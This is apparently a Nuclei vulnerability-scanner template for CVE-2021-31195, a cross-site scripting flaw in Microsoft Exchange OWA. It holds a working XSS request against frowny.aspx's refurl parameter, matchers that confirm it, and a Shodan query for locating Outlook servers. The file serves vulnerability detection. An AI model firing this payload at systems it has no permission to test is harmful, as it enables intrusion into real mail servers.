nuclei-templates/http/cves/2021/CVE-2021-31195.yaml

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id: CVE-2021-31195
info:
name: Microsoft Exchange Server - Cross-Site Scripting
author: infosecsanyam
severity: high
description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
reference:
- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-31195
cwe-id: CWE-79
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epss-score: 0.96
cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
max-request: 1
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shodan-query: http.title:"Outlook"
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vendor: microsoft
product: exchange_server
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tags: microsoft,exchange,owa,xss
http:
- method: GET
path:
- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
matchers-condition: and
matchers:
- type: word
words:
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- 'alert(document.domain)//&et=ServerError'
- 'mail/bootr.ashx'
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condition: and
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- type: word
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part: header
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words:
- "text/html"
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- type: status
status:
- 500